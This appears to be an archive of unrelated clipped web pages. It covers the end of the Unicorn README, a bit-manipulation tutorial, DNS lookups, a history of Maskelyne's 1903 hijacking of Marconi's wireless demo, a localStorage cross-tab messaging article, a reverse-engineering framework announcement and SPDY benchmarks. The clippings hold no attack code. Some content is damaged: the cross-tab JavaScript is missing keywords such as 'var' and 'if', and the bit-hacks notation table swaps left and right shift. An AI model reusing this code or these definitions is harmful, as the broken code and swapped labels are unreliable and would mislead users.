default settings are designed for maximum out-of-the-box compatibility with
existing applications.

Most command-line options for other Rack applications \(above\) are also
supported. Run \`unicorn -h\` or \`unicorn\_rails -h\` to see command-line
options.

## Disclaimer

There is NO WARRANTY whatsoever if anything goes wrong, but let us know and
we’ll try our best to fix it.

Unicorn is designed to only serve fast clients either on the local host or a
fast LAN. See the PHILOSOPHY and DESIGN documents for more details regarding
this.

## Contact

All feedback \(bug reports, user/development dicussion, patches, pull
requests\) go to the mailing list/newsgroup. See the ISSUES document for
information on the mailing list.

For the latest on Unicorn releases, you may also finger us at
unicorn@bogomips.org or check our NEWS page \(and subscribe to our Atom
feed\).

# Cross Context Scripting with Firefox

**Created:**| _4/25/2010 5:23:57 PM_  
---|---  
**Updated:**| _4/25/2010 5:24:31 PM_  
**Author:**| __  
**Tags:**| _attacks papers Malware-analysis_  
  
<img src='img/Temp2_1674' />

# Screencast: From Monolithic to Modular

**Created:**| _1/29/2011 5:00:54 PM_  
---|---  
**Updated:**| _1/29/2011 5:01:21 PM_  
**Author:**| __  
**Tags:**| _reversing Java_  
  

**Screencast: From Monolithic to Modular**  
  
Andrzej Olszak, one of the students here at the NetBeans Platform course at
the University of Southern Denmark, is researching thefeature-oriented
decomposition of Java programs. That's of relevance to the NetBeans Platform
because it provides a methodology for turning a monolithic application into
one that is modular.

Today during the course Andrzej presented his work and I recorded it. He
showed a whole bunch of tools and graphs that help you analyze the features of
your code and, ultimately, prepare them for modulerization:

<img src='img/Temp2_7265.png' />

YouTube didn't accept the whole thing, so I split it into parts \(about 10
minutes each\):

  * Part 1: http://www.youtube.com/watch?v=50fkZWgBcms
  * Part 2: http://www.youtube.com/watch?v=clTlXOjT7jY
  * Part 3: http://www.youtube.com/watch?v=ZCBZO0-sqcU

It's a really interesting video to watch, I highly recommend it.

Jan 27 2011, 11:27:41 PM PST Permalink

# Low Level Bit Hacks You Absolutely Must Know - good coders code, great reuse

**Created:**| _7/6/2009 7:44:36 PM_  
---|---  
**Updated:**| _7/6/2009 7:44:48 PM_  
**Author:**| __  
**Tags:**| _Hacks programming_  
  

# Low Level Bit Hacks You Absolutely Must Know

<img src='img/Temp2_4971.jpg' alt='Bit Hacks' />I decided to write an article
about a thing that is second nature to embedded systems programmers - **low
level bit hacks**. Bit hacks are ingenious little programming tricks that
manipulate integers in a smart and efficient manner. Instead of performing
some operation \(such as counting the 1 bits in an integer\) by looping over
individual bits, these programming nuggets do the same with one or two
carefully chosen bitwise operations.

To get things going I’ll assume that you know what the two’s complement binary
representation of an integer is and also that you know all the the bitwise
operations.

I’ll use the following notation for bitwise operations in the article:

[code]

    &   -  bitwise and
    |   -  bitwise or
    ^   -  bitwise xor
    ~   -  bitwise not
    <<  -  bitwise shift right
    >>  -  bitwise shift left
    
    
[/code]

The numbers in the article are 8 bit signed integers \(though the operations
work on arbitrary length signed integers\) that are represented as two’s
complement and they are usually named ‘x’. The result is usually ‘y’. The
individual bits of ‘x’ are named b7, b6, b5, b4, b3, b3, b2, b1 and b0. The
bit b7 is the sign bit \(the most significant bit\), and b0 is the least
significant.

I’ll start with the most basic bit hacks and gradually progress to more
difficult ones. I’ll use examples to explain how each bithack works.

If you are intrigued by this topic I urge you to subscribe to my blog. I can
share a secret that there will be the 2nd part of this article where I cover
more advanced bit hacks, and I will also release a cheat sheet with all these
bit tricks\! **It’s well worth subscribing**\!

Here we go.

**Bit Hack \#1. Check if the integer is even or odd.**

[code]

    if ((x & 1) == 0) {
      x is even
    }
    else {
      x is odd
    }
    
    
[/code]

I am pretty sure everyone has seen this trick. The idea here is that an
integer is odd if and only if the least significant bit _b0_ is 1. It follows
from the binary representation of ‘x’, where bit _b0_ contributes to either 1
or 0. By AND-ing ‘x’ with 1 we eliminate all the other bits than _b0_. If the
result after this operation is 0, then ‘x’ was even because bit _b0_ was 0.
Otherwise ‘x’ was odd.

Let’s look at some examples. Let’s take integer 43, which is odd. In binary 43
is 0010101**1**. Notice that the least significant bit _b0_ is 1 \(in bold\).
Now let’s AND it with 1:

[code]

        00101011
    &   00000001   (note: 1 is the same as 00000001)
        --------
        00000001
    
    
[/code]

See how AND-ing erased all the higher order bits b1-b7 but left bit _b0_ the
same it was? The result is thus 1 which tells us that the integer was odd.

Now let’s look at -43. Just as a reminder, a quick way to find negative of a
given number in two’s complement representation is to invert all bits and add
one. So -43 is 11010101 in binary. Again notice that the last bit is 1, and
the integer is odd. \(Note that if we used one’s complement it wouldn’t be
true\!\)

Now let’s take a look at an even integer 98. In binary 98 is 1100010.

[code]

        01100010
    &   00000001
        --------
        00000000
    
    
[/code]

After AND-ing the result is 0. It means that the bit _b0_ of original integer
98 was 0. Thus the given integer is even.

Now the negative -98. It’s 10011110. Again, bit _b0_ is 0, after AND-ing, the
result is 0, meaning -98 is even, which indeed is true.

**Bit Hack \#2. Test if the n-th bit is set.**

[code]

    if (x & (1<<n)) {
      n-th bit is set
    }
    else {
      n-th bit is not set
    }
    
    
[/code]

In the previous bit hack we saw that \(x & 1\) tests if the first bit is set.
This bit hack improves this result and tests if n-th bit is set. It does it by
shifting that first 1-bit n positions to the left and then doing the same AND
operation, which eliminates all bits but n-th.

Here is what happens if you shift 1 several positions to the left:

[code]

    1         00000001    (same as 1<<0)
    1<<1      00000010
    1<<2      00000100
    1<<3      00001000
    1<<4      00010000
    1<<5      00100000
    1<<6      01000000
    1<<7      10000000
    
    
[/code]

Now if we AND ‘x’ with 1 shifted n positions to the left we effectively
eliminate all the bits but n-th bit in ‘x’. If the result after AND-ing is 0,
then that bit must have been 0, otherwise that bit was set.

Let’s look at some examples.

Does 122 have 3rd bit set? The operation we do to find it out is:

[code]

    122 & (1<<3)
    
    
[/code]

Now, 122 is 01111010 in binary. And \(1<<3\) is 00001000.

[code]

        01111010
    &   00001000
        --------
        00001000
    
    
[/code]

We see that the result is not 0, so yes, 122 has the 3rd bit set.

**Note** : In my article bit numeration starts with 0. So it’s 0th bit, 1st
bit, …, 7th bit.

What about -33? Does it have the 5th bit set?

[code]

        11011111      (-33 in binary)
    &   00100000     (1<<5)
        --------
        00000000
    
    
[/code]

Result is 0, so the 5th bit is not set.

**Bit Hack \#3. Set the n-th bit.**

[code]

    y = x | (1<<n)
    
    
[/code]

This bit hack combines the same \(1<<n\) trick of setting n-th bit by shifting
with OR operation. The result of OR-ing a variable with a value that has n-th
bit set is turning that n-th bit on. It’s because OR-ing any value with 0
leaves the value the same; but OR-ing it with 1 changes it to 1 \(if it wasn’t
already\). Let’s see how that works in action:

Suppose we have value 120, and we wish to turn on the 2nd bit.

[code]

        01111000    (120 in binary)
    |   00000100    (1<<2)
        --------
        01111100
    
    
[/code]

What about -120 and 6th bit?

[code]

        10001000   (-120 in binary)
    |   01000000   (1<<6)
        --------
        11001000
    
    
[/code]

**Bit Hack \#4. Unset the n-th bit.**

[code]

    y = x & ~(1<<n)
    
    
[/code]

The important part of this bithack is the ~\(1<<n\) trick. It turns on all the
bits except n-th.

Here is how it looks:

[code]

    ~1        11111110  (same as ~(1<<0))
    ~(1<<1)   11111101
    ~(1<<2)   11111011
    ~(1<<3)   11110111
    ~(1<<4)   11101111
    ~(1<<5)   11011111
    ~(1<<6)   10111111
    ~(1<<7)   01111111
    
    
[/code]

The effect of AND-ing variable ‘x’ with this quantity is eliminating n-th bit.
It does not matter if the n-th bit was 0 or 1, AND-ing it with 0 sets it to 0.

Here is an example. Let’s unset 4th bit in 127:

[code]

        01111111    (127 in binary)
    &   11101111    (~(1<<4))
        --------
        01101111
    
    
[/code]

**Bit Hack \#5. Toggle the n-th bit.**

[code]

    y = x ^ (1<<n)
    
    
[/code]

This bit hack also uses the wonderful “set n-th bit shift hack” but this time
it XOR’s it with the variable ‘x’. The result of XOR-ing something with
something else is that if both bits are the same, the result is 0, otherwise
it’s 1. How does it toggle n-th bit? Well, if n-th bit was 1, then XOR-ing it
with 1 changes it to 0; conversely, if it was 0, then XOR-ing with with 1
changes it to 1. See, the bit got flipped.

Here is an example. Suppose you want to toggle 5th bit in value 01110101:

[code]

        01110101
    ^   00100000
        --------
        01010101
    
    
[/code]

What about the same value but 5th bit originally 0?

[code]

        01010101
    ^   00100000
        --------
        01110101
    
    
[/code]

Notice something? XOR-ing the same bit twice returned it to the same value.
This nifty XOR property is used in calculating parity in RAID arrays and used
in simple cryptography cyphers, but more about that in some other article.

**Bit Hack \#6. Turn off the rightmost 1-bit.**

[code]

    y = x & (x-1)
    
    
[/code]

Now it finally gets more interesting\!\!\! Bit hacks \#1 - \#5 were kind of
boring to be honest.

This bit hack turns off the rightmost one-bit. For example, given an integer
001010**1** 0 \(the rightmost 1-bit in bold\) it turns it into 00101000. Or
given 00010000 it turns it into 0, as there is just a single 1-bit.

Here are more examples:

[code]

        01010111    (x)
    &   01010110    (x-1)
        --------
        01010110
    
        01011000    (x)
    &   01010111    (x-1)
        --------
        01010000
    
        10000000    (x = -128)
    &   01111111    (x-1 = 127 (with overflow))
        --------
        00000000
    
        11111111    (x = all bits 1)
    &   11111110    (x-1)
        --------
        11111110
    
        00000000    (x = no rightmost 1-bits)
    &   11111111    (x-1)
        --------
        00000000
    
    
[/code]

Why does it work?

If you look at the examples and think for a while, you’ll realize that there
are two possible scenarios:

1\. The value has the rightmost 1 bit. In this case subtracting one from it
sets all the lower bits to one and changes that rightmost bit to 0 \(so that
if you add one now, you get the original value back\). This step has masked
out the rightmost 1-bit and now AND-ing it with the original value zeroes that
rightmost 1-bit out.

2\. The value has no rightmost 1 bit \(all 0\). In this case subtracting one
underflows the value \(as it’s signed\) and sets all bits to 1. AND-ing all
zeroes with all ones produces 0.

**Bit Hack \#7. Isolate the rightmost 1-bit.**

[code]

    y = x & (-x)
    
    
[/code]

This bit hack finds the rightmost 1-bit and sets all the other bits to 0. The
end result has only that one rightmost 1-bit set. For example, 01010**1** 00
\(rightmost bit in bold\) gets turned into 00000100.

Here are some more examples:

[code]

        10111100  (x)
    &   01000100  (-x)
        --------
        00000100
    
        01110000  (x)
    &   10010000  (-x)
        --------
        00010000
    
        00000001  (x)
    &   11111111  (-x)
        --------
        00000001
    
        10000000  (x = -128)
    &   10000000  (-x = -128)
        --------
        10000000
    
        11111111  (x = all bits one)
    &   00000001  (-x)
        --------
        00000001
    
        00000000  (x = all bits 0, no rightmost 1-bit)
    &   00000000  (-x)
        --------
        00000000
    
    
[/code]

This bit hack works because of two’s complement. In two’s complement system -x
is the same as ~x+1. Now let’s examine the two possible cases:

1\. There is a rightmost 1-bit bi. In this case let’s pivot on this bit and
divide all other bits into two flanks - bits to the right and bits to the
left. Remember that all the bits to the right bi-1, bi-2 … b0 are 0’s
\(because bi was the rightmost 1-bit\). And bits to the left are the way they
are. Let’s call them bi+1, …, bn.

Now, when we calculate -x, we first do ~x which turns bit bi into 0, bits bi-1
… b0 into 1s, and inverts bits bi+1, …, bn, and then we add 1 to this result.

Since bits bi-1 … b0 are all 1’s, adding one makes them carry this one all the
way to bit bi, which is the first zero bit.

If we put it all together, the result of calculating -x is that bits bi+1, …,
bn get inverted, bit bi stays the same, and bits bi-1, …, b0 are all 0’s.

Now, AND-ing x with -x makes bits bi+1, …, bn all 0, leaves bit bi as is, and
sets bits bi-1, …, b0 to 0. Only one bit is left, it’s the bit bi \- the
rightmost 1-bit.

2\. There is no rightmost 1-bit. The value is 0. The negative of 0 in two’s
complement is also 0. 0&0 = 0. No bits get turned on.

We have proved rigorously that this bithack is correct.

**Bit Hack \#8. Right propagate the rightmost 1-bit.**

[code]

    y = x | (x-1)
    
    
[/code]

This is best understood by an example. Given a value 01010000 it turns it into
01011111. All the 0-bits right to the rightmost 1-bit got turned into ones.

This is not a clean hack, tho, as it produces all 1’s if x = 0.

Let’s look at more examples:

[code]

        10111100  (x)
    |   10111011  (x-1)
        --------
        10111111
    
        01110111  (x)
    |   01110110  (x-1)
        --------
        01110111
    
        00000001  (x)
    |   00000000  (x-1)
        --------
        00000001
    
        10000000  (x = -128)
    |   01111111  (x-1 = 127)
        --------
        11111111
    
        11111111  (x = -1)
    |   11111110  (x-1 = -2)
        --------
        11111111
    
        00000000  (x)
    |   11111111  (x-1)
        --------
        11111111
    
    
[/code]

Let’s prove it, though not as rigorously as in the previous bithack \(as it’s
too time consuming and this is not a scientific publication\). There are two
cases again. Let’s start with easiest first.

1\. There is no rightmost 1-bit. In that case x = 0 and x-1 is -1. -1 in two’s
complement is 11111111. OR-ing 0 with 11111111 produces the same 11111111.
\(Not the desired result, but that’s the way it is.\)

2\. There is the rightmost 1-bit bi. Let’s divide all the bits in two groups
again \(like in the previous example\). Calculating x-1 modifies only bits to
the right, turning bi into 0, and all the lower bits to 1’s. Now OR-ing x with
x-1 leaves all the higher bits \(to the left\) the same, leaves bit bi as it
was 1, and since lower bits are all low 1’s it also turns them on. The result
is that the rightmost 1-bit got propagated to lower order bits.

**Bit Hack \#9. Isolate the rightmost 0-bit.**

[code]

    y = ~x & (x+1)
    
    
[/code]

This bithack does the opposite of \#7. It finds the rightmost 0-bit, turns off
all bits, and sets this bit to 1 in the result. For example, it finds the zero
in bold in this number 10101**0** 11, producing 00000100.

More examples:

[code]

        10111100  (x)
        --------
        01000011  (~x)
    &   10111101  (x+1)
        --------
        00000001
    
        01110111  (x)
        --------
        10001000  (~x)
    &   01111000  (x+1)
        --------
        00001000
    
        00000001  (x)
        --------
        11111110  (~x)
    &   00000010  (x+1)
        --------
        00000010
    
        10000000  (x = -128)
        --------
        01111111  (~x)
    &   10000001  (x+1)
        --------
        00000001
    
        11111111  (x = no rightmost 0-bit)
        --------
        00000000  (~x)
    &   00000000  (x+1)
        --------
        00000000
    
        00000000  (x)
        --------
        11111111  (~x)
    &   00000001  (x+1)
        --------
        00000001
    
    
[/code]

Proof: Suppose there is a rightmost 0-bit. Then ~x turns this rightmost 0 bit
into 1 bit. And so does x+1 \(because bits more right to the rightmost 0 bit
are 1’s\). Now AND-ing ~x with x+1 evaporates all the bits up to this
rightmost 0 bit. This is the highest order bit set in the result. Now what
about lower order bits to the right of rightmost 0 bit? They also got
evaporated because because x+1 turned them into 0’s \(they were 1’s\) and ~x
turned them into 0’s. They got AND-ed with 0 and evaporated.

**Bit Hack \#10. Turn on the rightmost 0-bit.**

[code]

    y = x | (x+1)
    
    
[/code]

This hack changes the rightmost 0-bit into 1. For example, given an integer
10100011 it turns it into 10100111.

More examples:

[code]

        10111100  (x)
    |   10111101  (x+1)
        --------
        10111101
    
        01110111  (x)
    |   01111000  (x+1)
        --------
        01111111
    
        00000001  (x)
    |   00000010  (x+1)
        --------
        00000011
    
        10000000  (x = -128)
    |   10000001  (x+1)
        --------
        10000001
    
        11111111  (x = no rightmost 0-bit)
    |   00000000  (x+1)
        --------
        11111111
    
        00000000  (x)
    |   00000001  (x+1)
        --------
        00000001
    
    
[/code]

Here is the proof as a bunch of true statements. OR-ing x with x+1 does not
lose any information. Adding 1 to x fills the first rightmost 0. The result is
max\{x, x+1\}. If x+1 overflows it’s x and there were no 0 bits. If it
doesn’t, it’s x+1 which just got rightmost bit filled with 1.

## Bonus stuff.

If you decide to play more with these hacks, here are a few utility functions
to print binary values of **8 bit signed integers** in Perl, Python and C.

Print binary representation in Perl:

[code]

    sub int_to_bin {
      my $num = shift;
      print unpack "B8", pack "c", $num;
    }
    
    
[/code]

Or you can print it from command line right away:

[code]

    perl -wle 'print unpack "B8", pack "c", shift' 
    
    # For example:
    perl -wle 'print unpack "B8", pack "c", shift' 113
    01110001
    
    perl -wle 'print unpack "B8", pack "c", shift' -- -128
    10000000
    
    
[/code]

Print binary number in Python:

[code]

    def int_to_bin(num, bits=8):
     r = ''
     while bits:
      r = ('1' if num&1 else '0') + r
      bits = bits - 1
      num = num >> 1
     print r
    
    
[/code]

Print binary representation in C:

[code]

    void int_to_bin(int num) {
      char str[9] = {0};
      int i;
      for (i=7; i>=0; i--) {
        str[i] = (num&1)?'1':'0';
        num >>= 1;
      }
      printf("%s\n", str);
    }
    
    
[/code]

Have fun with these\! I’ll write about advanced bit hacks some time soon. If
you are really intrigued by this topic I encourage you to subscribe to my
blog. Thanks\! <img src='img/Temp2_4972.jpg' alt=':)' />

Ps. Let me know in the comments what you think about this article, and let me
know if you do not know what two’s complement, or the basic binary operations
are. If there are a few people who would like me to explain these concepts,
I’ll be glad to write another article just about these fundamental topics.

Pps. There is a book entirely on bit hacks like these. It’s called “Hacker’s
Delight“. It may be worth getting if you are into this stuff:

# Fefes Blog

**Created:**| _5/19/2009 3:30:26 PM_  
---|---  
**Updated:**| _5/19/2009 3:30:34 PM_  
**Author:**| __  
**Tags:**| _Hacks_  
  

[code]

    $ host -t ns bundestag.de  
    bundestag.de name server s615.babiel.com  
    [...]$ host s615.babiel.com  
    s615.babiel.com has address 217.79.215.156  
    $ host blog.fefe.de 217.79.215.156  
    blog.fefe.de has address 80.244.246.150
[/code]

# Dot-dash-diss: The gentleman hacker's 1903 lulz - tech - 27 December 2011 -
New Scientist

**Created:**| _1/22/2012 7:39:17 PM_  
---|---  
**Updated:**| _1/22/2012 7:39:17 PM_  
**Author:**| __  
**Tags:**| _Hacks History wireless_  
  

# Dot-dash-diss: The gentleman hacker's 1903 lulz

  * 27 December 2011 by **Paul Marks**
  * Magazine issue 2844. **Subscribe and save**
  * For similar stories, visit the **Christmas Science** Topic Guide 

_A century ago, one of the world’s first hackers used Morse code insults to
disrupt a public demo of Marconi's wireless telegraph_

LATE one June afternoon in 1903 a hush fell across an expectant audience in
the Royal Institution's celebrated lecture theatre in London. Before the
crowd, the physicist John Ambrose Fleming was adjusting arcane apparatus as he
prepared to demonstrate an emerging technological wonder: a long-range
wireless communication system developed by his boss, the Italian radio pioneer
Guglielmo Marconi. The aim was to showcase publicly for the first time that
Morse code messages could be sent wirelessly over long distances. Around 300
miles away, Marconi was preparing to send a signal to London from a clifftop
station in Poldhu, Cornwall, UK.

Yet before the demonstration could begin, the apparatus in the lecture theatre
began to tap out a message. At first, it spelled out just one word repeated
over and over. Then it changed into a facetious poem accusing Marconi of
"diddling the public". Their demonstration had been hacked - and this was more
than 100 years before the mischief playing out on the internet today. Who was
the Royal Institution hacker? How did the cheeky messages get there? And why?

It had all started in 1887 when Heinrich Hertz proved the existence of the
electromagnetic waves predicted by James Clerk Maxwell in 1865. Discharging a
capacitor into two separated electrodes, Hertz ionised the air in the gap
between them, creating a spark. Miraculously, another spark zipped between two
electrodes a few metres away: an electromagnetic wave from the first spark had
induced a current between the second electrode pair. It meant long and short
bursts of energy - "Hertzian waves" \- could be broadcast to represent the
dots and dashes of Morse code. Wireless telegraphy was born, and Marconi and
his company were at the vanguard. Marconi claimed that his wireless messages
could be sent privately over great distances. "I can tune my instruments so
that no other instrument that is not similarly tuned can tap my messages,"
Marconi boasted to London's _St James Gazette_ in February 1903.

That things would not go smoothly for Marconi and Fleming at the Royal
Institution that day in June was soon apparent. Minutes before Fleming was due
to receive Marconi's Morse messages from Cornwall, the hush was broken by a
rhythmic ticking noise sputtering from the theatre's brass projection lantern,
used to display the lecturer's slides. To the untrained ear, it sounded like a
projector on the blink. But Arthur Blok, Fleming's assistant, quickly
recognised the tippity-tap of a human hand keying a message in Morse. Someone,
Blok reasoned, was beaming powerful wireless pulses into the theatre and they
were strong enough to interfere with the projector's electric arc discharge
lamp.

Mentally decoding the missive, Blok realised it was spelling one facetious
word, over and over: "Rats". A glance at the output of the nearby Morse
printer confirmed this. The incoming Morse then got more personal, mocking
Marconi: "There was a young fellow of Italy, who diddled the public quite
prettily," it trilled. Further rude epithets - apposite lines from Shakespeare
- followed.

The stream of invective ceased moments before Marconi's signals from Poldhu
arrived. The demo continued, but the damage was done: if somebody could
intrude on the wireless frequency in such a way, it was clearly nowhere near
as secure as Marconi claimed. And it was likely that they could eavesdrop on
supposedly private messages too.

Marconi would have been peeved, to say the least, but he did not respond
directly to the insults in public. He had no truck with sceptics and
naysayers: "I will not demonstrate to any man who throws doubt upon the
system," he said at the time. Fleming, however, fired off a fuming letter to
_The Times_ of London. He dubbed the hack "scientific hooliganism", and "an
outrage against the traditions of the Royal Institution". He asked the
newspaper's readers to help him find the culprit.

He didn't have to wait long. Four days later a gleeful letter confessing to
the hack was printed by _The Times_. The writer justified his actions on the
grounds of the security holes it revealed for the public good. Its author was
Nevil Maskelyne, a mustachioed 39-year-old British music hall magician.
Maskelyne came from an inventive family - his father came up with the coin-
activated "spend-a-penny" locks in pay toilets. Maskelyne, however, was more
interested in wireless technology, so taught himself the principles. He would
use Morse code in "mind-reading" magic tricks to secretly communicate with a
stooge. He worked out how to use a spark-gap transmitter to remotely ignite
gunpowder. And in 1900, Maskelyne sent wireless messages between a ground
station and a balloon 10 miles away. But, as author Sungook Hong relates in
the book _Wireless_ , his ambitions were frustrated by Marconi's broad
patents, leaving him embittered towards the Italian. Maskelyne would soon find
a way to vent his spleen.

One of the big losers from Marconi's technology looked likely to be the wired
telegraphy industry. Telegraphy companies owned expensive land and sea cable
networks, and operated flotillas of ships with expert crews to lay and service
their submarine cables. Marconi presented a wireless threat to their wired
hegemony, and they were in no mood to roll over.

The Eastern Telegraph Company ran the communications hub of the British Empire
from the seaside hamlet of Porthcurno, west Cornwall, where its submarine
cables led to Indonesia, India, Africa, South America and Australia. Following
Marconi's feat of transatlantic wireless messaging on 12 December 1901, ETC
hired Maskelyne to undertake extended spying operations.

Maskelyne built a 50-metre radio mast \(the remnants of which still exist\) on
the cliffs west of Porthcurno to see if he could eavesdrop on messages the
Marconi Company was beaming to vessels as part of its highly successful ship-
to-shore messaging business. Writing in the journal _The Electrician_ on 7
November 1902, Maskelyne gleefully revealed the lack of security. "I received
Marconi messages with a 25-foot collecting circuit \[aerial\] raised on a
scaffold pole. When eventually the mast was erected the problem was not
interception but how to deal with the enormous excess of energy."

It wasn't supposed to be this easy. Marconi had patented a technology for
tuning a wireless transmitter to broadcast on a precise wavelength. This
tuning, Marconi claimed, meant confidential channels could be set up. Anyone
who tunes in to a radio station will know that's not true, but it wasn't
nearly so obvious back then. Maskelyne showed that by using an untuned
broadband receiver he could listen in.

Having established interception was possible, Maskelyne wanted to draw more
attention to the technology's flaws, as well as showing interference could
happen. So he staged his Royal Institution hack by setting up a simple
transmitter and Morse key at his father's nearby West End music hall.

The facetious messages he sent could easily have been jumbled with those
Marconi himself sent from Cornwall, ruining both had they arrived
simultaneously. Instead, they drew attention to a legitimate flaw in the
technology - and the only damage done was to the egos of Marconi and Fleming.

Fleming continued to bluster for weeks in the newspapers about Maskelyne's
assault being an insult to science. Maskelyne countered that Fleming should
focus on the facts. "I would remind Professor Fleming that abuse is no
argument," he replied.

In the present day, many hackers end up highlighting flawed technologies and
security lapses just like Maskelyne. A little mischief has always had its
virtues.

# Cross-tab Communication

**Created:**| _1/10/2015 4:35:45 PM_  
---|---  
**Updated:**| _1/10/2015 4:35:45 PM_  
**Author:**| __  
**Tags:**| __  
  

# Cross-tab Communication

\(18 comments\)reading time: 5 minutes, published 2 days ago

The upcoming SharedWorker API allows to transmit data across iframes and even
browser tabs or windows. It landed in Chrome years ago, and not so long ago in
Firefox, but it's nowhere to be seen in IE or Safari. A wildly supported
alternative exists that can be used today, but it's largely unknown. Let's
explore it\!

I wanted an elegant solution to the following scenario: suppose a human walks
into your website, logs in, **opens a second tab** , and logs out in that tab.
He's still _" logged in"_ on the first tab, except anything he touches will
either redirect them to the login page or straight blow up in their face. A
more inviting alternative would be to figure out that they're logged out and
do something about it, such as display a dialog asking them to re-
authenticate, or maybe the login view itself.

You could use the WebSocket API for this, but that'd be overkill. I wanted a
lower-level technology flyswatter, so I started looking for cross-tab
communication options. The first option that popped up was using cookies or
`localStorage`, and then periodically checking whether they were logged in or
not via `setInterval`. I wasn't satisfied with that answer because it would
waste too many CPU cycles checking for something that might not ever come up.
At that point I would've rather used a _"comet" \(also known as long-
polling\)_, Server-Sent Events, or WebSockets.

I was surprised to see that the answer was lying in front of my nose, it was
`localStorage` all along\!

Did you know that `localStorage` fires an event? More specifically, it fires
an event whenever an item is added, modified, or removed _in another browsing
context_. Effectively, this means that whenever you touch `localStorage` in
any given tab, all other tabs can learn about it by listening for the
`storage` event on the `window` object, like so:

[code]

    window.addEventListener('storage', function (event) {
      console.log(event.key, event.newValue);
    });
    
[/code]

The `event` object contains a few relevant properties.

Property| Description  
---|---  
`key`| The affected key in `localStorage`  
`newValue`| The value that is currently assigned to that key  
`oldValue`| The value before modification  
`url`| The URL of the page where the change occurred  
Whenever a tab modifies something in `localStorage`, an event fires in every
other tab. This means we're able to _communicate across browser tabs_ simply
by setting values on `localStorage`. Consider the following pseudo _ish_ -code
example:

[code]

     loggedOn;
    
    // TODO: call when logged-in user changes or logs out
    logonChanged();
    
    window.addEventListener('storage', updateLogon);
    window.addEventListener('focus', checkLogon);
    
    function getUsernameOrNull  {
      // TODO: return whether the user is logged on
    }
    
    function logonChanged  {
       uname = getUsernameOrNull();
      loggedOn = uname;
      localStorage.setItem('logged-on', uname);
    }
    
    function updateLogon (event) {
       (event.key === 'logged-on') {
        loggedOn = event.newValue;
      }
    }
    
    function checkLogon  {
       uname = getUsernameOrNull();
       (uname !== loggedOn) {
        location.reload();
      }
    }
    
[/code]

The basic idea is that when a user has two open tabs, logs out from one of
them, and goes back to the other tab, the page is reloaded and _\(hopefully\)_
the server-side logic redirects them to somewhere else. The check is being
done only when the tab is focused as a nod to the fact that maybe they log out
and they log back in immediately, and in those cases we wouldn't want to log
them out of every other tab.

We could certainly improve that piece of code, but it serves its purpose
pretty well. A better implementation would probably ask them to log in on the
spot, but note that this also works the other way around: when they log in and
go to another tab that was also logged out, the snippet detects that change
reloading the page, and then the server would redirect them to the logged-in
fountain-of-youth blessing of an experience you call your website _\(again,
hopefully\)_.

# A simpler API

The `localStorage` API is arguably one of the easiest to use APIs there are,
when it comes to web browsers, and it also enjoys quite thorough cross-browser
support. There are, however, some quirks such as incognito Safari throwing on
sets with a `QuotaExceededError`, no support for JSON out the box, or older
browsers bumming you out.

For those reasons, I put together local-storage which is a module that
provides a simplified API to `localStorage`, gets rid of those quirks, falls
back to an in-memory store when the `localStorage` API is missing, and also
makes it easier to consume `storage` events, by letting you register and
unregister listeners for specific keys.

API endpoints in `local-storage@1.3.1` _\(**latest** , at the time of this
writing\)_ are listed below.

  * `ls(key, value?)` gets or sets `key`
  * `ls.get(key)` gets the value in `key`
  * `ls.set(key, value)` sets `key` to `value`
  * `ls.remove(key)` removes `key`
  * `ls.on(key, fn(value, old, url))` listens for changes to `key` in other tabs, triggers `fn`
  * `ls.off(key, fn)` unregisters listener previously added with `ls.on`

It's also worth mentioning that local-storage registers a single `storage`
event handler and keeps track of every key you want to observe, rather than
register multiple `storage` events.

I'd be interested to learn about other use cases for low-tech communication
across tabs\! Certainly sounds useful for _offline-first_ development,
particularly if we keep in mind that `SharedWorker` might take a while to
become widely supported, and WebSockets are unreliable in offline-first
scenarios.

# Ariadne framework

**Created:**| _1/4/2012 10:45:09 PM_  
---|---  
**Updated:**| _1/4/2012 10:45:09 PM_  
**Author:**| __  
**Tags:**| _iDA plugin_  
  

# Main

Ariadne is a framework for everyone involved in reverse engineering and
related tasks \(virus analysis, software protection and its analysis,
forensics, and so on\). Developing the code which solves tedious routine tasks
could take up to 80% of the project time\! Moreover there is a risk to make
one or more of the typical mistakes while writing this code. Fixing of these
bugs could be a long and unpleasant process. Ariadne will help a reverse
engineer to save his own time and creative potential for the truly innovative
tasks\!

A demo version of the Ariadne framework and samples of the obfuscated \(code
virtualization included\) and deobfuscated \(trace deobfuscation\) code are
available for download. We'll be pleased to make Aridne meet your most
demanding needs. If you have any questions, wishes, ideas or suggestions on
the Ariadne framework feel free to contact us. We'll be happy to answer your
questions and discuss your suggestions.

  

# News

**01.01.2012 - OllyDbg 1.10 Ariadne pluginwas released**

**26.12.2011 - IDA 6.1 Ariadne pluginwas updated**

**22.12.2011 - Ariadnewas updated to version 0.9.1.0**

**01.12.2011 - IDA 6.1 Ariadne pluginwas released**

**01.12.2011 -ZeroNights-2011 is over, the slides of our talk are presented
here**

**15.11.2011 - Ariadne demo-version 0.9.0.0was released**

# japh\(r\) by Chris Strom: Simple Comparisons of HTTP, HTTPS, SPDY/2 and
SPDY/3

**Created:**| _10/30/2013 8:36:19 AM_  
---|---  
**Updated:**| _10/30/2013 8:36:19 AM_  
**Author:**| __  
**Tags:**| _web protocol-analysis throughput Latency_  
  

# **S** imple Comparisons of HTTP, HTTPS, SPDY/2 and SPDY/3****

‹prev  | My Chain  | next›   
  
**tl;dr** SPDY rules speed tests**.**  
  
Amazingly, the average web page includes 85 resources \(per httparchive.org
\)**.** My "real world" web page only has a dozen images:

<img src='img/Temp2_10416.png' />

So I add separate copies to the bottom of the page:

<img src='img/Temp2_10411.png' />

I add an artificial 100ms round trip time:

[code]

    ➜  ~  sudo tc qdisc add dev lo root netem delay 50ms
    [sudo] password for chris: 
    ➜  ~  ping localhost
    PING localhost.localdomain (127**.** 0**.** 0.1) 56(84) bytes of data.
    64 bytes from localhost.localdomain (127.0**.** 0.1): icmp_req=1 ttl=64 time=100 ms
    64 bytes from localhost.localdomain (127**.** 0.0**.** 1): icmp_req=2 ttl=64 time=100 ms
[/code]

That is a little higher than is typical in the wild**.** I like it because it
makes math easier and is not _too_ far off**.**  
  
Now, when I load the vanilla SSL site and watch in Speed Tracer, I see:

<img src='img/Temp2_10415.png' />

A total of **5**.** 03 seconds** \(5**.** 98 - 0.995\) for SSL.  
  
The "real world" SPDY  running on the spdy-v3 branch of node-spdy :

<img src='img/Temp2_10412.png' />

SPDY/3: **1**.** 1 seconds**.  
  
And finally, a push version that uses SPDY server push to push all of the
images directly into Chrome's chache after the first request:

<img src='img/Temp2_10410.png' />

SPDY/3 push: **0**.** 74 seconds**.  
  
